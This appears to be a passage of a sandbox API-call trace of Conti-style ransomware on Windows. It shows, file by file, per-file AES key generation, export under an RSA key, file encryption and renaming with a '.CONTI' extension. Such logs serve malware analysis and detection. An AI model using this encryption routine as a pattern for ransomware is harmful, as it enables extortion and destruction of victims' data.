	[0151.440] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm.conti")) returned 1
	[0151.441] GetProcessHeap () returned 0x1720000
	[0151.441] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.441] CryptDestroyKey (hKey=0x17de6d0) returned 1
	[0151.441] GetProcessHeap () returned 0x1720000
	[0151.441] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17407a8 | out: hHeap=0x1720000) returned 1
	[0151.441] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0151.441] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65da4e0 | out: phKey=0x65da4e0*=0x17de7d0) returned 1
	[0151.441] CryptExportKey (in: hKey=0x17de7d0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da4e4, pdwDataLen=0x4abfcac | out: pbData=0x65da4e4*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0151.442] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm")) returned 0x20
	[0151.442] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0151.442] GetLastError () returned 0x0
	[0151.442] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=68292) returned 1
	[0151.442] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10ac4
	[0151.442] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.442] SetEndOfFile (hFile=0x498) returned 1
	[0151.443] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.443] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.443] WriteFile (in: hFile=0x498, lpBuffer=0x65da4e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65da4e4*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0152.453] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0152.453] ReadFile (in: hFile=0x498, lpBuffer=0xd540000, nNumberOfBytesToRead=0x10ac4, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x10ac4, lpOverlapped=0x0) returned 1
	[0152.454] CryptEncrypt (in: hKey=0x17de7d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x10ac4, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x10ad0) returned 1
	[0152.454] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0152.454] WriteFile (hFile=0x498, lpBuffer=0xd540000, nNumberOfBytesToWrite=0x10ad0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0) 

Thread:
	id = 164
	os_tid = 0xda8

	[0093.088] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xda50000
	[0093.088] CryptAcquireContextA (in: phProv=0x4bffecc, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x4bffecc*=0x176ba40) returned 1
	[0093.090] CryptImportKey (in: hProv=0x176ba40, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x4bffec8 | out: phKey=0x4bffec8*=0x175e0f0) returned 1
	[0093.092] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0093.579] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c3a38 | out: phKey=0x17c3a38*=0x175e330) returned 1
	[0093.579] CryptExportKey (in: hKey=0x175e330, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c3a3c, pdwDataLen=0x4bffe94 | out: pbData=0x17c3a3c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0093.585] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80
	[0093.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.586] GetLastError () returned 0x0
	[0093.586] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=80970) returned 1
	[0093.586] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13c4a
	[0093.586] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.586] SetEndOfFile (hFile=0x33c) returned 1
	[0093.586] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.586] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.586] WriteFile (in: hFile=0x33c, lpBuffer=0x17c3a3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c3a3c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.588] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.588] ReadFile (in: hFile=0x33c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x13c4a, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x13c4a, lpOverlapped=0x0) returned 1
	[0093.590] CryptEncrypt (in: hKey=0x175e330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x13c4a, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x13c50) returned 1
	[0093.590] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.591] WriteFile (in: hFile=0x33c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x13c50, lpOverlapped=0x0) returned 1
	[0093.591] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.591] WriteFile (in: hFile=0x33c, lpBuffer=0x17c3a30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c3a30*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0093.591] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.591] CloseHandle (hObject=0x33c) returned 1
	[0093.593] GetProcessHeap () returned 0x1720000
	[0093.593] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.596] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml"
	[0093.596] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.CONTI"
	[0093.596] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.conti")) returned 1
	[0093.596] GetProcessHeap () returned 0x1720000
	[0093.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.596] CryptDestroyKey (hKey=0x175e330) returned 1
	[0093.596] GetProcessHeap () returned 0x1720000
	[0093.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1750 | out: hHeap=0x1720000) returned 1
	[0093.596] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0094.221] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d4b10 | out: phKey=0x17d4b10*=0x175e630) returned 1
	[0094.221] CryptExportKey (in: hKey=0x175e630, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4b14, pdwDataLen=0x4bffe94 | out: pbData=0x17d4b14*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0094.227] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80
	[0094.227] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.227] GetLastError () returned 0x0
	[0094.227] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=10134) returned 1
	[0094.227] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2796
	[0094.227] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.227] SetEndOfFile (hFile=0x34c) returned 1
	[0094.227] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.227] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.228] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4b14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d4b14*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.230] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.230] ReadFile (in: hFile=0x34c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2796, lpOverlapped=0x0) returned 1
	[0094.230] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2796, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x27a0) returned 1
	[0094.230] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.230] WriteFile (in: hFile=0x34c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x27a0, lpOverlapped=0x0) returned 1
	[0094.231] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.231] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4b08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d4b08*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0094.231] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.231] CloseHandle (hObject=0x34c) returned 1
	[0094.231] GetProcessHeap () returned 0x1720000
	[0094.231] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.232] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\stop.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned="C:\\588bce7c90097ed212\\Graphics\\stop.ico"
	[0094.232] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\stop.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\stop.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\stop.ico.CONTI"
	[0094.232] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.conti")) returned 1
	[0094.233] GetProcessHeap () returned 0x1720000
	[0094.233] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.233] CryptDestroyKey (hKey=0x175e630) returned 1
	[0094.233] GetProcessHeap () returned 0x1720000
	[0094.233] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bff68 | out: hHeap=0x1720000) returned 1
	[0094.233] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0094.994] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x17c7eb0) returned 1
	[0094.994] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x4bffe94 | out: pbData=0x17c5104*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0094.995] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27
	[0094.995] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0094.995] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.995] GetLastError () returned 0x5
	[0094.995] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0094.995] GetProcessHeap () returned 0x1720000
	[0094.995] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17b3b20 | out: hHeap=0x1720000) returned 1
	[0094.996] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0094.996] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c80b0) returned 1
	[0094.996] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x4bffe94 | out: pbData=0x17d41f4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0094.997] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20
	[0095.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0095.191] GetLastError () returned 0x0
	[0095.191] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=69632) returned 1
	[0095.191] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0095.191] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.191] SetEndOfFile (hFile=0x35c) returned 1
	[0095.192] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.192] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.192] WriteFile (in: hFile=0x35c, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0095.193] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.193] ReadFile (in: hFile=0x35c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x11000, lpOverlapped=0x0) returned 1
	[0095.196] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11010) returned 1
	[0095.197] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.197] WriteFile (in: hFile=0x35c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x11010, lpOverlapped=0x0) returned 1
	[0095.197] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.197] WriteFile (in: hFile=0x35c, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0095.197] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.197] CloseHandle (hObject=0x35c) returned 1
	[0095.199] GetProcessHeap () returned 0x1720000
	[0095.199] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0095.199] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx"
	[0095.199] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.CONTI"
	[0095.199] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.conti")) returned 1
	[0095.200] GetProcessHeap () returned 0x1720000
	[0095.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0095.200] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0095.200] GetProcessHeap () returned 0x1720000
	[0095.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfe80 | out: hHeap=0x1720000) returned 1
	[0095.200] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0095.200] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x17c8470) returned 1
	[0095.200] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x4bffe94 | out: pbData=0x17d4684*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0095.201] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20
	[0095.205] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0095.205] GetLastError () returned 0x0
	[0095.205] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=69632) returned 1
	[0095.205] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0095.205] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.205] SetEndOfFile (hFile=0x35c) returned 1
	[0095.206] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.206] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.212] WriteFile (in: hFile=0x35c, lpBuffer=0x17d4684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d4684*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0095.214] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.214] ReadFile (in: hFile=0x35c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x11000, lpOverlapped=0x0) returned 1
	[0095.215] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11010) returned 1
	[0095.215] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.215] WriteFile (in: hFile=0x35c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x11010, lpOverlapped=0x0) returned 1
